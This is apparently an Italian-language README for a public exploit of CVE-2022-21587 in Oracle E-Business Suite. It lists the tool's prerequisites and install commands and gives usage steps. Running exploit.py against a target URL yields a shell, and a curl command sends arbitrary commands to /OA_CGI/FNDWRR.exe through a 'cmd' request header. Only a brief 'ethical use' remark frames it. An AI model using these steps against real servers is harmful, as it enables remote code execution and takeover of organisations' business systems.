CVE-2022-21587-Oracle-EBS-

Prerequisiti per eseguire questo exploit:

• python3 con i moduli inclusi (requests, os, sys, slipit)
• uuencode

Prima di eseguirlo, assicurati di usarlo solo per scopi etici

Se l'esecuzione dell'exploit fallisce:

• Assicurati di aver già installato i moduli prerequisiti

installa requests

• pip3 install requests

• Installa slipit, git clone https://github.com/usdAG/slipit

  • cd slipit
  • python3 setup.py sdist
  • pip3 install --user dist/* OR python3 -m pip install --user dist/*

• Installa uuencode

  • sudo apt install sharutils

• Utilizzo: python3 exploit.py http://target.com

  • poi la shell apparirà OPPURE puoi anche eseguire la shell usando curl o strumenti proxy web (burpsuite)
  • usando curl: curl -k https://target/OA_CGI/FNDWRR.exe -H 'cmd: whoami'
  • usando burpsuite: basta aggiungere cmd nell'header della richiesta con qualsiasi payload bash che vuoi eseguire